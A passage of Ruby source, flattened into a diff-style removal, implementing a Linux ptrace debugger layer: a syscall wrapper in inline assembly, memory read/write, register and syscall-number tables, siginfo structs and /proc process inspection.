@pid = ::Process.fork - tweak_for_pid(::Process.pid) - traceme - b.call if b - ::Process.exec(*target) - exit!(0) - end - wait - raise "could not exec #{target}" if $?.exited? - tweak_for_pid(@pid) - puts "Ptrace: attached to new #@pid" if $DEBUG - end - - def wait - ::Process.wait(@pid, ::Process::WALL) - end - - attr_accessor :reg_off, :intsize, :syscallnr, :syscallreg - attr_accessor :packint, :packuint, :host_intsize, :host_syscallnr - attr_accessor :tgcpu - @@sys_ptrace = {} - - # setup variables according to the target (ptrace interface, syscall nrs, ...) - def tweak_for_pid(pid=@pid, tgcpu=nil) - # use these for our syscalls PTRACE - @@host_csn ||= LinOS.open_process(::Process.pid).cpu.shortname - case @@host_csn - when 'ia32' - @packint = 'l' - @packuint = 'L' - @host_intsize = 4 - @host_syscallnr = SYSCALLNR_I386 - @reg_off = REGS_I386 - when 'x64' - @packint = 'q' - @packuint = 'Q' - @host_intsize = 8 - @host_syscallnr = SYSCALLNR_X86_64 - @reg_off = REGS_X86_64 - else raise 'unsupported architecture' - end - - @tgcpu = tgcpu || LinOS.open_process(pid).cpu - # use these to interpret the child state - case @tgcpu.shortname - when 'ia32' - @syscallreg = 'ORIG_EAX' - @syscallnr = SYSCALLNR_I386 - @intsize = 4 - when 'x64' - @syscallreg = 'ORIG_RAX' - @syscallnr = SYSCALLNR_X86_64 - @intsize = 8 - else raise 'unsupported target architecture' - end - - # buffer used in ptrace syscalls - @buf = [0].pack(@packint) - - @sys_ptrace = @@sys_ptrace[@host_syscallnr['ptrace']] ||= setup_sys_ptrace(@host_syscallnr['ptrace']) - end - - def setup_sys_ptrace(sysnr) - moo = Class.new(DynLdr) - case @@host_csn - when 'ia32' - # XXX compat lin2.4 ? - asm = <<EOS -#define off 3*4 -push ebx -push esi -mov eax, #{sysnr} -mov ebx, [esp+off] -mov ecx, [esp+off+4] -mov edx, [esp+off+8] -mov esi, [esp+off+12] -call gs:[10h] -pop esi -pop ebx -ret -EOS - when 'x64' - asm = <<EOS -#define off 3*8 -mov rax, #{sysnr} -//mov rdi, rdi -//mov rsi, rdi -//mov rdx, rdx -mov r10, rcx -syscall -ret -EOS - else raise 'unsupported target architecture' - end - - moo.new_func_asm 'long ptrace(unsigned long, unsigned long, unsigned long, unsigned long)', asm - moo - end - - def host_csn; @@host_csn end - - def dup - self.class.new(self, :dup) - end - - def str_ptr(str) - [str].pack('P').unpack(@packint).first - end - - # interpret the value turned as an unsigned long - def bufval - @buf.unpack(@packint).first - end - - # reads a memory range - def readmem(off, len) - decal = off % @host_intsize - buf = '' - if decal > 0 - off -= decal - peekdata(off) - off += @host_intsize - buf << @buf[decal...@host_intsize] - end - offend = off + len - while off < offend - peekdata(off) - buf << @buf[0, @host_intsize] - off += @host_intsize - end - buf[0, len] - end - - def writemem(off, str) - str.force_encoding('binary') if str.respond_to?(:force_encoding) - decal = off % @host_intsize - if decal > 0 - off -= decal - peekdata(off) - str = @buf[0...decal] + str - end - decal = str.length % @host_intsize - if decal > 0 - peekdata(off+str.length-decal) - str += @buf[decal...@host_intsize] - end - i = 0 - while i < str.length - pokedata(off+i, str[i, @host_intsize]) - i += @host_intsize - end - true - end - - # linux/ptrace.h - COMMAND = { - :TRACEME => 0, :PEEKTEXT => 1, - :PEEKDATA => 2, :PEEKUSR => 3, - :POKETEXT => 4, :POKEDATA => 5, - :POKEUSR => 6, :CONT => 7, - :KILL => 8, :SINGLESTEP => 9, - :ATTACH => 16, :DETACH => 17, - :SYSCALL => 24, - - # arch/x86/include/ptrace-abi.h - :GETREGS => 12, :SETREGS => 13, - :GETFPREGS => 14, :SETFPREGS => 15, - :GETFPXREGS => 18, :SETFPXREGS => 19, - :OLDSETOPTIONS => 21, :GET_THREAD_AREA => 25, - :SET_THREAD_AREA => 26, :ARCH_PRCTL => 30, - :SYSEMU => 31, :SYSEMU_SINGLESTEP=> 32, - :SINGLEBLOCK => 33, - # 0x4200-0x4300 are reserved for architecture-independent additions. - :SETOPTIONS => 0x4200, :GETEVENTMSG => 0x4201, - :GETSIGINFO => 0x4202, :SETSIGINFO => 0x4203 - } - - OPTIONS = { - # options set using PTRACE_SETOPTIONS - 'TRACESYSGOOD' => 0x01, 'TRACEFORK' => 0x02, - 'TRACEVFORK' => 0x04, 'TRACECLONE' => 0x08, - 'TRACEEXEC' => 0x10, 'TRACEVFORKDONE'=> 0x20, - 'TRACEEXIT' => 0x40, 'TRACESECCOMP' => 0x80, - } - - WAIT_EXTENDEDRESULT = { - # Wait extended result codes for the above trace options. - 'EVENT_FORK' => 1, 'EVENT_VFORK' => 2, - 'EVENT_CLONE' => 3, 'EVENT_EXEC' => 4, - 'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT' => 6, - 'EVENT_SECCOMP' => 7, - } - WAIT_EXTENDEDRESULT.update WAIT_EXTENDEDRESULT.invert - - - # block trace - BTS_O = { 'TRACE' => 1, 'SCHED' => 2, 'SIGNAL' => 4, 'ALLOC' => 8 } - BTS = { 'CONFIG' => 40, 'STATUS' => 41, 'SIZE' => 42, - 'GET' => 43, 'CLEAR' => 44, 'DRAIN' => 45 } - - REGS_I386 = { - 'EBX' => 0, 'ECX' => 1, 'EDX' => 2, 'ESI' => 3, - 'EDI' => 4, 'EBP' => 5, 'EAX' => 6, 'DS' => 7, - 'ES' => 8, 'FS' => 9, 'GS' => 10, 'ORIG_EAX' => 11, - 'EIP' => 12, 'CS' => 13, 'EFL' => 14, 'UESP'=> 15, - 'EFLAGS' => 14, 'ESP' => 15, - 'SS' => 16, - # from ptrace.c in kernel source & asm-i386/user.h - 'DR0' => 63, 'DR1' => 64, 'DR2' => 65, 'DR3' => 66, - 'DR4' => 67, 'DR5' => 68, 'DR6' => 69, 'DR7' => 70 - } - - REGS_X86_64 = { - 'R15' => 0, 'R14' => 1, 'R13' => 2, 'R12' => 3, - 'RBP' => 4, 'RBX' => 5, 'R11' => 6, 'R10' => 7, - 'R9' => 8, 'R8' => 9, 'RAX' => 10, 'RCX' => 11, - 'RDX' => 12, 'RSI' => 13, 'RDI' => 14, 'ORIG_RAX' => 15, - 'RIP' => 16, 'CS' => 17, 'RFLAGS' => 18, 'RSP' => 19, - 'SS' => 20, 'FS_BASE' => 21, 'GS_BASE' => 22, 'DS' => 23, - 'ES' => 24, 'FS' => 25, 'GS' => 26, - #'FP_VALID' => 27, - #'387_XWD' => 28, '387_RIP' => 29, '387_RDP' => 30, '387_MXCSR' => 31, - #'FP0' => 32, 'FP1' => 34, 'FP2' => 36, 'FP3' => 38, - #'FP4' => 40, 'FP5' => 42, 'FP6' => 44, 'FP7' => 46, - #'XMM0' => 48, 'XMM1' => 52, 'XMM2' => 56, 'XMM3' => 60, - #'XMM4' => 64, 'XMM5' => 68, 'XMM6' => 72, 'XMM7' => 76, - #'FPAD0' => 80, 'FPAD11' => 91, - #'TSZ' => 92, 'DSZ' => 93, 'SSZ' => 94, 'CODE' => 95, - #'STK' => 96, 'SIG' => 97, 'PAD' => 98, 'U_AR0' => 99, - #'FPPTR' => 100, 'MAGIC' => 101, 'COMM0' => 102, 'COMM1' => 103, - #'COMM2' => 104, 'COMM3' => 105, - 'DR0' => 106, 'DR1' => 107, 'DR2' => 108, 'DR3' => 109, - 'DR4' => 110, 'DR5' => 111, 'DR6' => 112, 'DR7' => 113, - #'ERROR_CODE' => 114, 'FAULT_ADDR' => 115 - } - - SYSCALLNR_I386 = %w[restart_syscall exit fork read write open close waitpid creat link unlink execve chdir time - mknod chmod lchown break oldstat lseek getpid mount umount setuid getuid stime ptrace alarm oldfstat - pause utime stty gtty access nice ftime sync kill rename mkdir rmdir dup pipe times prof brk setgid - getgid signal geteuid getegid acct umount2 lock ioctl fcntl mpx setpgid ulimit oldolduname umask - chroot ustat dup2 getppid getpgrp setsid sigaction sgetmask ssetmask setreuid setregid sigsuspend - sigpending sethostname setrlimit getrlimit getrusage gettimeofday settimeofday getgroups setgroups - select symlink oldlstat readlink uselib swapon reboot readdir mmap munmap truncate ftruncate fchmod - fchown getpriority setpriority profil statfs fstatfs ioperm socketcall syslog setitimer getitimer - stat lstat fstat olduname iopl vhangup idle vm86old wait4 swapoff sysinfo ipc fsync sigreturn - clone setdomainname uname modify_ldt adjtimex mprotect sigprocmask create_module init_module - delete_module get_kernel_syms quotactl getpgid fchdir bdflush sysfs personality afs_syscall setfsuid - setfsgid _llseek getdents _newselect flock msync readv writev getsid fdatasync _sysctl mlock - munlock mlockall munlockall sched_setparam sched_getparam sched_setscheduler sched_getscheduler - sched_yield sched_get_priority_max sched_get_priority_min sched_rr_get_interval nanosleep mremap - setresuid getresuid vm86 query_module poll nfsservctl setresgid getresgid prctl rt_sigreturn - rt_sigaction rt_sigprocmask rt_sigpending rt_sigtimedwait rt_sigqueueinfo rt_sigsuspend pread64 - pwrite64 chown getcwd capget capset sigaltstack sendfile getpmsg putpmsg vfork ugetrlimit mmap2 - truncate64 ftruncate64 stat64 lstat64 fstat64 lchown32 getuid32 getgid32 geteuid32 getegid32 - setreuid32 setregid32 getgroups32 setgroups32 fchown32 setresuid32 getresuid32 setresgid32 - getresgid32 chown32 setuid32 setgid32 setfsuid32 setfsgid32 pivot_root mincore madvise getdents64 - fcntl64 sys_222 sys_223 gettid readahead setxattr lsetxattr fsetxattr getxattr lgetxattr fgetxattr - listxattr llistxattr flistxattr removexattr lremovexattr fremovexattr tkill sendfile64 futex - sched_setaffinity sched_getaffinity set_thread_area get_thread_area io_setup io_destroy io_getevents - io_submit io_cancel fadvise64 sys_251 exit_group lookup_dcookie epoll_create epoll_ctl epoll_wait - remap_file_pages set_tid_address timer_create timer_settime timer_gettime timer_getoverrun - timer_delete clock_settime clock_gettime clock_getres clock_nanosleep statfs64 fstatfs64 tgkill - utimes fadvise64_64 vserver mbind get_mempolicy set_mempolicy mq_open mq_unlink mq_timedsend - mq_timedreceive mq_notify mq_getsetattr kexec_load waitid sys_setaltroot add_key request_key keyctl - ioprio_set ioprio_get inotify_init inotify_add_watch inotify_rm_watch migrate_pages openat mkdirat - mknodat fchownat futimesat fstatat64 unlinkat renameat linkat symlinkat readlinkat fchmodat - faccessat pselect6 ppoll unshare set_robust_list get_robust_list splice sync_file_range tee vmsplice - move_pages getcpu epoll_pwait utimensat signalfd timerfd eventfd fallocate timerfd_settime - timerfd_gettime signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev - rt_tg_sigqueueinfo perf_counter_open].inject({}) { |h, sc| h.update sc => h.length } - SYSCALLNR_I386.update SYSCALLNR_I386.invert - - SYSCALLNR_X86_64 = %w[read write open close stat fstat lstat poll lseek mmap mprotect munmap brk rt_sigaction - rt_sigprocmask rt_sigreturn ioctl pread64 pwrite64 readv writev access pipe select sched_yield - mremap msync mincore madvise shmget shmat shmctl dup dup2 pause nanosleep getitimer alarm - setitimer getpid sendfile socket connect accept sendto recvfrom sendmsg recvmsg shutdown - bind listen getsockname getpeername socketpair setsockopt getsockopt clone fork vfork execve - exit wait4 kill uname semget semop semctl shmdt msgget msgsnd msgrcv msgctl fcntl flock - fsync fdatasync truncate ftruncate getdents getcwd chdir fchdir rename mkdir rmdir creat - link unlink symlink readlink chmod fchmod chown fchown lchown umask gettimeofday getrlimit - getrusage sysinfo times ptrace getuid syslog getgid setuid setgid geteuid getegid setpgid - getppid getpgrp setsid setreuid setregid getgroups setgroups setresuid getresuid setresgid - getresgid getpgid setfsuid setfsgid getsid capget capset rt_sigpending rt_sigtimedwait - rt_sigqueueinfo rt_sigsuspend sigaltstack utime mknod uselib personality ustat statfs fstatfs - sysfs getpriority setpriority sched_setparam sched_getparam sched_setscheduler sched_getscheduler - sched_get_priority_max sched_get_priority_min sched_rr_get_interval mlock munlock mlockall - munlockall vhangup modify_ldt pivot_root _sysctl prctl arch_prctl adjtimex setrlimit chroot sync - acct settimeofday mount umount2 swapon swapoff reboot sethostname setdomainname iopl ioperm - create_module init_module delete_module get_kernel_syms query_module quotactl nfsservctl getpmsg - putpmsg afs_syscall tuxcall security gettid readahead setxattr lsetxattr fsetxattr getxattr - lgetxattr fgetxattr listxattr llistxattr flistxattr removexattr lremovexattr fremovexattr tkill time - futex sched_setaffinity sched_getaffinity set_thread_area io_setup io_destroy io_getevents io_submit - io_cancel get_thread_area lookup_dcookie epoll_create epoll_ctl_old epoll_wait_old remap_file_pages - getdents64 set_tid_address restart_syscall semtimedop fadvise64 timer_create timer_settime - timer_gettime timer_getoverrun timer_delete clock_settime clock_gettime clock_getres clock_nanosleep - exit_group epoll_wait epoll_ctl tgkill utimes vserver mbind set_mempolicy get_mempolicy mq_open - mq_unlink mq_timedsend mq_timedreceive mq_notify mq_getsetattr kexec_load waitid add_key request_key - keyctl ioprio_set ioprio_get inotify_init inotify_add_watch inotify_rm_watch migrate_pages openat - mkdirat mknodat fchownat futimesat newfstatat unlinkat renameat linkat symlinkat readlinkat - fchmodat faccessat pselect6 ppoll unshare set_robust_list get_robust_list splice tee sync_file_range - vmsplice move_pages utimensat epoll_pwait signalfd timerfd_create eventfd fallocate timerfd_settime - timerfd_gettime accept4 signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev - rt_tgsigqueueinfo perf_counter_open].inject({}) { |h, sc| h.update sc => h.length } - SYSCALLNR_X86_64.update SYSCALLNR_X86_64.invert - - SIGNAL = Signal.list.dup - SIGNAL.delete SIGNAL.index(0) - SIGNAL['TRAP'] ||= 5 # windows+gdbremote - SIGNAL.update SIGNAL.invert - - # include/asm-generic/errno-base.h - ERRNO = %w[ERR0 EPERM ENOENT ESRCH EINTR EIO ENXIO E2BIG ENOEXEC EBADF ECHILD EAGAIN ENOMEM EACCES EFAULT - ENOTBLK EBUSY EEXIST EXDEV ENODEV ENOTDIR EISDIR EINVAL ENFILE EMFILE ENOTTY ETXTBSY EFBIG ENOSPC - ESPIPE EROFS EMLINK EPIPE EDOM ERANGE].inject({}) { |h, e| h.update e => h.length } - ERRNO.update ERRNO.invert - - SIGINFO = { - # user-generated signal - 'DETHREAD' => -7, # execve killing threads - 'TKILL' => -6, 'SIGIO' => -5, 'ASYNCIO' => -4, 'MESGQ' => -3, - 'TIMER' => -2, 'QUEUE' => -1, 'USER' => 0, 'KERNEL' => 0x80, - # ILL - 'ILLOPC' => 1, 'ILLOPN' => 2, 'ILLADR' => 3, 'ILLTRP' => 4, - 'PRVOPC' => 5, 'PRVREG' => 6, 'COPROC' => 7, 'BADSTK' => 8, - # FPE - 'INTDIV' => 1, 'INTOVF' => 2, 'FLTDIV' => 3, 'FLTOVF' => 4, - 'FLTUND' => 5, 'FLTRES' => 6, 'FLTINV' => 7, 'FLTSUB' => 8, - # SEGV - 'MAPERR' => 1, 'ACCERR' => 2, - # BUS - 'ADRALN' => 1, 'ADRERR' => 2, 'OBJERR' => 3, 'MCEERR_AR' => 4, - 'MCEERR_AO' => 5, - # TRAP - 'BRKPT' => 1, 'TRACE' => 2, 'BRANCH' => 3, 'HWBKPT' => 4, - # CHLD - 'EXITED' => 1, 'KILLED' => 2, 'DUMPED' => 3, 'TRAPPED' => 4, - 'STOPPED' => 5, 'CONTINUED' => 6, - # POLL - 'POLL_IN' => 1, 'POLL_OUT' => 2, 'POLL_MSG' => 3, 'POLL_ERR' => 4, - 'POLL_PRI' => 5, 'POLL_HUP' => 6 - } - - SIGINFO_C = <<EOS -typedef __int32 __pid_t; -typedef unsigned __int32 __uid_t; -typedef uintptr_t sigval_t; -typedef long __clock_t; - -struct siginfo { - int si_signo; - int si_errno; - int si_code; - // int pad64; - union { - int _pad[128/4-3]; /* total >= 128b */ - - struct { /* kill(). */ - __pid_t si_pid; /* Sending process ID. */ - __uid_t si_uid; /* Real user ID of sending process. */ - } _kill; - struct { /* POSIX.1b timers. */ - int si_tid; /* Timer ID. */ - int si_overrun; /* Overrun count. */ - sigval_t si_sigval; /* Signal value. */ - } _timer; - struct { /* POSIX.1b signals. */ - __pid_t si_pid; /* Sending process ID. */ - __uid_t si_uid; /* Real user ID of sending process. */ - sigval_t si_sigval; /* Signal value. */ - } _rt; - struct { /* SIGCHLD. */ - __pid_t si_pid; /* Which child. */ - __uid_t si_uid; /* Real user ID of sending process. */ - int si_status; /* Exit value or signal. */ - __clock_t si_utime; - __clock_t si_stime; - } _sigchld; - struct { /* SIGILL, SIGFPE, SIGSEGV, SIGBUS. */ - uintptr_t si_addr; /* Faulting insn/memory ref. */ - } _sigfault; - struct { /* SIGPOLL. */ - long int si_band; /* Band event for SIGPOLL. */ - int si_fd; - } _sigpoll; - struct { /* SIGSYS under SECCOMP */ - uintptr_t si_calladdr; /* calling insn address */ - int si_syscall; /* triggering syscall nr */ - int si_arch; /* AUDIT_ARCH_* for syscall */ - } _sigsys; - }; -}; -EOS - - def sys_ptrace(req, pid, addr, data) - ret = @sys_ptrace.ptrace(req, pid, addr, data) - if ret < 0 and ret > -256 - raise SystemCallError.new("ptrace #{COMMAND.index(req) || req}", -ret) - end - ret - end - - def traceme - sys_ptrace(COMMAND[:TRACEME], 0, 0, 0) - end - - def peektext(addr) - sys_ptrace(COMMAND[:PEEKTEXT], @pid, addr, @buf) - @buf - end - - def peekdata(addr) - sys_ptrace(COMMAND[:PEEKDATA], @pid, addr, @buf) - @buf - end - - def peekusr(addr) - sys_ptrace(COMMAND[:PEEKUSR], @pid, @host_intsize*addr, @buf) - @peekmask ||= (1 << ([@host_intsize, @intsize].min*8)) - 1 - bufval & @peekmask - end - - def poketext(addr, data) - sys_ptrace(COMMAND[:POKETEXT], @pid, addr, data.unpack(@packint).first) - end - - def pokedata(addr, data) - sys_ptrace(COMMAND[:POKEDATA], @pid, addr, data.unpack(@packint).first) - end - - def pokeusr(addr, data) - sys_ptrace(COMMAND[:POKEUSR], @pid, @host_intsize*addr, data) - end - - def getregs(buf=nil) - buf = buf.str if buf.respond_to?(:str) # AllocCStruct - buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND[:GETREGS], @pid, 0, buf) - buf - end - def setregs(buf) - buf = buf.str if buf.respond_to?(:str) - sys_ptrace(COMMAND[:SETREGS], @pid, 0, buf) - end - - def getfpregs(buf=nil) - buf = buf.str if buf.respond_to?(:str) - buf ||= [0].pack('C')*1024 - sys_ptrace(COMMAND[:GETFPREGS], @pid, 0, buf) - buf - end - def setfpregs(buf) - buf = buf.str if buf.respond_to?(:str) - sys_ptrace(COMMAND[:SETFPREGS], @pid, 0, buf) - end - - def getfpxregs(buf=nil) - buf = buf.str if buf.respond_to?(:str) - buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND[:GETFPXREGS], @pid, 0, buf) - buf - end - def setfpxregs(buf) - buf = buf.str if buf.respond_to?(:str) - sys_ptrace(COMMAND[:SETFPXREGS], @pid, 0, buf) - end - - def get_thread_area(addr) - sys_ptrace(COMMAND[:GET_THREAD_AREA], @pid, addr, @buf) - bufval - end - def set_thread_area(addr, data) - sys_ptrace(COMMAND[:SET_THREAD_AREA], @pid, addr, data) - end - - def prctl(addr, data) - sys_ptrace(COMMAND[:ARCH_PRCTL], @pid, addr, data) - end - - def cont(sig = nil) - sig ||= 0 - sys_ptrace(COMMAND[:CONT], @pid, 0, sig) - end - - def kill - sys_ptrace(COMMAND[:KILL], @pid, 0, 0) - end - - def singlestep(sig = nil) - sig ||= 0 - sys_ptrace(COMMAND[:SINGLESTEP], @pid, 0, sig) - end - - def singleblock(sig = nil) - sig ||= 0 - sys_ptrace(COMMAND[:SINGLEBLOCK], @pid, 0, sig) - end - - def syscall(sig = nil) - sig ||= 0 - sys_ptrace(COMMAND[:SYSCALL], @pid, 0, sig) - end - - def attach - sys_ptrace(COMMAND[:ATTACH], @pid, 0, 0) - end - - def detach - sys_ptrace(COMMAND[:DETACH], @pid, 0, 0) - end - - def setoptions(*opt) - opt = opt.inject(0) { |b, o| b |= o.kind_of?(Integer) ? o : OPTIONS[o] } - sys_ptrace(COMMAND[:SETOPTIONS], @pid, 0, opt) - end - - # retrieve pid of cld for EVENT_CLONE/FORK, exitcode for EVENT_EXIT - def geteventmsg - sys_ptrace(COMMAND[:GETEVENTMSG], @pid, 0, @buf) - bufval - end - - def cp - @cp ||= @tgcpu.new_cparser - end - - def siginfo - @siginfo ||= ( - cp.parse SIGINFO_C if not cp.toplevel.struct['siginfo'] - cp.alloc_c_struct('siginfo') - ) - end - - def getsiginfo - sys_ptrace(COMMAND[:GETSIGINFO], @pid, 0, siginfo.str) - siginfo - end - - def setsiginfo(si=siginfo) - si = si.str if si.respond_to?(:str) - sys_ptrace(COMMAND[:SETSIGINFO], @pid, 0, si) - end -end - -class LinOS < OS - class Process < OS::Process - # returns/create a LinuxRemoteString - def memory - @memory ||= LinuxRemoteString.new(pid) - end - attr_writer :memory - - def debugger - @debugger ||= LinDebugger.new(@pid) - end - attr_writer :debugger - - # returns the list of loaded Modules, incl start address & path - # read from /proc/pid/maps - def modules - list = [] - seen = {} - File.readlines("/proc/#{pid}/maps").each { |l| - # 08048000-08064000 r-xp 000000 08:01 4234 /usr/bin/true - l = l.split - next if l.length < 6 or seen[l[-1]] - seen[l[-1]] = true - m = Module.new - m.addr = l[0].to_i(16) - m.path = l[-1] - list << m - } - list - rescue - [] - end - - # return a list of [addr_start, length, perms, file] - def mappings - list = [] - File.readlines("/proc/#{pid}/maps").each { |l| - l = l.split - addrstart, addrend = l[0].split('-').map { |i| i.to_i 16 } - list << [addrstart, addrend-addrstart, l[1], l[5]] - } - list - rescue - [] - end - - # returns a list of threads sharing this process address space - # read from /proc/pid/task/ - def threads - Dir.entries("/proc/#{pid}/task/").grep(/^\d+$/).map { |tid| tid.to_i } - rescue - # TODO handle pthread stuff (eg 2.4 kernels) - [pid] - end - - # return the invocation commandline, from /proc/pid/cmdline - # this is manipulable by the target itself - def cmdline - @cmdline ||= File.read("/proc/#{pid}/cmdline") rescue '' - end - attr_writer :cmdline - - def path - cmdline.split(0.chr)[0] - end - - # returns the address size of the process, based on its #cpu - def addrsz - cpu.size - end - - # returns the CPU for the process, by reading /proc/pid/exe - def cpu - e = ELF.load_file("/proc/#{pid}/exe") - # dont decode shdr/phdr, this is 2x faster for repeated debugger spawn - e.decode_header(0, false, false) - e.cpu - end - - def terminate - kill - end - - def kill(signr=9) - ::Process.kill(signr, @pid) - end - end - -class << self - # returns an array of Processes, with pid/module listing - def list_processes - Dir.entries('/proc').grep(/^\d+$/).map { |pid| Process.new(pid.to_i) } - end - - # return a Process for the specified pid if it exists in /proc - def open_process(pid) - Process.new(pid) if check_process(pid) - end - - def check_process(pid) - File.directory?("/proc/#{pid}") - end - - # create a LinDebugger on the target pid/binary - def create_debugger(path) - LinDebugger.new(path) - end -end # class << self -end - -class LinuxRemoteString < VirtualString - attr_accessor :pid, :readfd - attr_accessor :dbg - - # returns a virtual string proxying the specified process memory range - # reads are cached (4096 aligned bytes read at once), from /proc/pid/mem - # writes are done directly by ptrace - def initialize(pid, addr_start=0, length=nil, dbg=nil) - @pid = pid - length ||= 1 << (dbg ? dbg.cpu.size : (LinOS.open_process(@pid).addrsz rescue 32)) - @readfd = File.open("/proc/#@pid/mem", 'rb') rescue nil - @dbg = dbg if dbg - super(addr_start, length) - end - - def dup(addr = @addr_start, len = @length) - self.class.new(@pid, addr, len, dbg) - end - - def do_ptrace(needproc) - if dbg - dbg.switch_context(@pid) { - st = dbg.state - next if st != :stopped - if needproc - # we will try to access /proc/pid/mem - # if the main thread is still running, fallback to ptrace.readmem instead - pst = (dbg.tid == @pid ? st : dbg.tid_stuff[@pid][:state]) - if pst != :stopped - savedreadfd = @readfd - @readfd = nil - begin - yield dbg.ptrace - ensure - @readfd = savedreadfd - end - else - yield dbg.ptrace - end - else - yield dbg.ptrace - end - } - else - PTrace.open(@pid) { |ptrace| yield ptrace } - end - end - - def rewrite_at(addr, data) - # target must be stopped - wr = do_ptrace(false) { |ptrace| ptrace.writemem(addr, data) } - raise "couldn't ptrace_write at #{'%x' % addr}" if not wr - end - - def get_page(addr, len=@pagelength) - do_ptrace(true) { |ptrace| - begin - if readfd and addr < (1<<63) - # 1<<63: ruby seek = 'too big to fit longlong', linux read = EINVAL - @readfd.pos = addr - @readfd.read len - elsif addr < (1<<(ptrace.host_intsize*8)) - # can reach 1<<64 with peek_data only if ptrace accepts 64bit args - ptrace.readmem(addr, len) - end - rescue Errno::EIO, Errno::ESRCH - nil - end - } - end -end - -class PTraceContext_Ia32 < PTrace - C_STRUCT = <<EOS -struct user_regs_struct_ia32 { - unsigned __int32 ebx; - unsigned __int32 ecx; - unsigned __int32 edx; - unsigned __int32 esi; - unsigned __int32 edi; - unsigned __int32 ebp; - unsigned __int32 eax; - unsigned __int32 ds; - unsigned __int32 es; - unsigned __int32 fs; - unsigned __int32 gs; - unsigned __int32 orig_eax; - unsigned __int32 eip; - unsigned __int32 cs; - unsigned __int32 eflags; - unsigned __int32 esp; - unsigned __int32 ss; -}; - -struct user_fxsr_struct_ia32 { - unsigned __int16 cwd; - unsigned __int16 swd; - unsigned __int16 twd; - unsigned __int16 fop; - unsigned __int32 fip; - unsigned __int32 fcs; - unsigned __int32 foo; - unsigned __int32 fos; - unsigned __int32 mxcsr; - unsigned __int32 reserved; - unsigned __int32 st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */ - unsigned __int32 xmm_space[32]; /* 8*16 bytes for each XMM-reg = 128 bytes */ - unsigned __int32 padding[56]; -}; -EOS - - def initialize(ptrace, pid=ptrace.pid) - super(ptrace, :dup) - @pid = pid - @cp = ptrace.cp - init - end - - def init - @gpr = @@gpr_ia32 ||= [:ebx, :ecx, :edx, :esi, :edi, :ebp, :eax, - :ds, :es, :fs, :gs, :orig_eax, :eip, :cs, :eflags, - :esp, :ss].inject({}) { |h, r| h.update r => true } - @gpr_peek = @@gpr_peek_ia32 ||= (0..7).inject({}) { |h, i| - h.update "dr#{i}".to_sym => REGS_I386["DR#{i}"] } - @gpr_sub = @@gpr_sub_ia32 ||= gpr_sub_init - @xmm = @@xmm_ia32 ||= [:cwd, :swd, :twd, :fop, :fip, :fcs, :foo, - :fos, :mxcsr].inject({}) { |h, r| h.update r => true } - @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_ia32'] - @gpr_st = @xmm_st = nil - end - - # :bh => [:ebx, 0xff, 8] - # XXX similar to Reg.symbolic... DRY - def gpr_sub_init - ret = {} - %w[a b c d].each { |r| - b = "e#{r}x".to_sym - ret["#{r}x".to_sym] = [b, 0xffff] - ret["#{r}l".to_sym] = [b, 0xff] - ret["#{r}h".to_sym] = [b, 0xff, 8] - } - %w[sp bp si di].each { |r| - b = "e#{r}".to_sym - ret[r.to_sym] = [b, 0xffff] - } - ret[:orig_rax] = [:orig_eax, 0xffff_ffff] - ret - end - - def do_getregs - st = cp.alloc_c_struct('user_regs_struct_ia32') - getregs(st) - st - end - - def do_setregs(st=@gpr_st) - setregs(st) - end - - def do_getxmm - st = cp.alloc_c_struct('user_fxsr_struct_ia32') - getfpxregs(st) - st - end - - def do_setxmm(st=@xmm_st) - setfpxregs(st) - end - - def get_reg(r) - r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' - rs = r.to_sym - if @gpr[rs] - @gpr_st ||= do_getregs - @gpr_st[rs] - elsif o = @gpr_peek[rs] - peekusr(o) - elsif o = @gpr_sub[rs] - v = get_reg(o[0]) - v >>= o[2] if o[2] - v &= o[1] - elsif @xmm[rs] - @xmm_st ||= do_getxmm - @xmm_st[rs] - else - case r.to_s - when /^st(\d?)$/i - i = $1.to_i - @xmm_st ||= do_getxmm - fu = @xmm_st.st_space - [fu[4*i], fu[4*i+1], fu[4*i+2]].pack('L*').unpack('D').first # XXX - when /^mmx?(\d)$/i - i = $1.to_i - @xmm_st ||= do_getxmm - fu = @xmm_st.st_space - fu[4*i] | (fu[4*i + 1] << 32) - when /^xmm(\d+)$/i - i = $1.to_i - @xmm_st ||= do_getxmm - fu = @xmm_st.xmm_space - fu[4*i] | (fu[4*i + 1] << 32) | (fu[4*i + 2] << 64) | (fu[4*i + 3] << 96) - # TODO when /^ymm(\d+)$/i - else raise "unknown register name #{r}" - end - end - end - - def set_reg(r, v) - r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' - rs = r.to_sym - if @gpr[rs] - @gpr_st ||= do_getregs - @gpr_st[rs] = v - do_setregs - elsif o = @gpr_peek[rs] - pokeusr(o, v) - elsif o = @gpr_sub[rs] - vo = get_reg(o[0]) - msk = o[1] - v &= o[1] - if o[2] - msk <<= o[2] - v <<= o[2] - end - v |= vo & ~msk - set_reg(o[0], v) - elsif @xmm[rs] - @xmm_st ||= do_getxmm - @xmm_st[rs] = v - do_setxmm - else - case r.to_s - when /^st(\d?)$/i - i = $1.to_i - @xmm_st ||= do_getxmm - fu = @xmm_st.st_space - fu[4*i], fu[4*i+1], fu[4*i+2] = [v, -1].pack('DL').unpack('L*') # XXX - do_setxmm - when /^mmx?(\d)$/i - i = $1.to_i - @xmm_st ||= do_getxmm - fu = @xmm_st.st_space - fu[4*i] = v & 0xffff_ffff - fu[4*i + 1] = (v >> 32) & 0xffff_ffff - do_setxmm - when /^xmm(\d+)$/i - i = $1.to_i - @xmm_st ||= do_getxmm - fu = @xmm_st.xmm_space - fu[4*i] = v & 0xffff_ffff - fu[4*i + 1] = (v >> 32) & 0xffff_ffff - fu[4*i + 2] = (v >> 64) & 0xffff_ffff - fu[4*i + 3] = (v >> 96) & 0xffff_ffff - do_setxmm - # TODO when /^ymm(\d+)$/i - else raise "unknown register name #{r}" - end - end - end -end - -class PTraceContext_X64 < PTraceContext_Ia32 - C_STRUCT = <<EOS -struct user_regs_struct_x64 { - unsigned __int64 r15; - unsigned __int64 r14; - unsigned __int64 r13; - unsigned __int64 r12; - unsigned __int64 rbp; - unsigned __int64 